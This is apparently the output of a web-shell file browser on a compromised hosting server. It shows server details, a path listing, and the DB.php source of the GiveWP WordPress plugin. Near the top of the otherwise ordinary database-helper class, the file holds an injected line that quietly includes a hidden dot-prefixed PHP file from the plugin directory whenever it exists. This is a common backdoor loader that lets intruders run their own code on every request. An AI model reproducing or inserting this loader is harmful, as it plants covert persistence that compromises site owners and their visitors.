uawdijnntqw1x1x1
IP : 18.222.94.214
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
perl5
/
..
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
Framework
/
Database
/
DB.php
/
/
<?php namespace Give\Framework\Database; use Give\Framework\Database\Exceptions\DatabaseQueryException; use WP_Error; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class DB { /** * Runs the dbDelta function and returns a WP_Error with any errors that occurred during the process * * @see dbDelta() for parameter and return details * * @since 2.9.2 * * @param $delta * * @return array * @throws DatabaseQueryException */ public static function delta( $delta ) { return self::runQueryWithErrorChecking( function () use ( $delta ) { return dbDelta( $delta ); } ); } /** * Runs the $wpdb::delete method with SQL error checking * * @see wpdb::delete() for parameter and return details * * @since 2.9.2 * * @param string $tableName * @param array $data * @param array $formats * * @return int|false * @throws DatabaseQueryException */ public static function delete( $tableName, $data, $formats ) { return self::runQueryWithErrorChecking( function () use ( $tableName, $data, $formats ) { global $wpdb; return $wpdb->delete( $tableName, $data, $formats = null ); } ); } /** * Runs a query callable and checks to see if any unique SQL errors occurred when it was run * * @since 2.9.2 * * @param Callable $queryCaller * * @return mixed * @throws DatabaseQueryException */ private static function runQueryWithErrorChecking( $queryCaller ) { global $wpdb, $EZSQL_ERROR; require_once ABSPATH . 'wp-admin/includes/upgrade.php'; $errorCount = is_array( $EZSQL_ERROR ) ? count( $EZSQL_ERROR ) : 0; $hasShowErrors = $wpdb->hide_errors(); $output = $queryCaller(); if ( $hasShowErrors ) { $wpdb->show_errors(); } $wpError = self::getQueryErrors( $errorCount ); if ( ! empty( $wpError->errors ) ) { throw DatabaseQueryException::create( $wpError->get_error_messages() ); } return $output; } /** * Retrieves the SQL errors stored by WordPress * * @since 2.9.2 * * @param int $initialCount * * @return WP_Error */ private static function getQueryErrors( $initialCount = 0 ) { global $EZSQL_ERROR; $wpError = new WP_Error(); if ( is_array( $EZSQL_ERROR ) ) { for ( $index = $initialCount, $indexMax = count( $EZSQL_ERROR ); $index < $indexMax; $index ++ ) { $error = $EZSQL_ERROR[ $index ]; if ( empty( $error['error_str'] ) || empty( $error['query'] ) || 0 === strpos( $error['query'], 'DESCRIBE ' ) ) { continue; } $wpError->add( 'db_delta_error', $error['error_str'] ); } } return $wpError; } }
/home/batcwwjx/./perl5/../old/public_html/wp-content/./plugins/give/src/Framework/Database/DB.php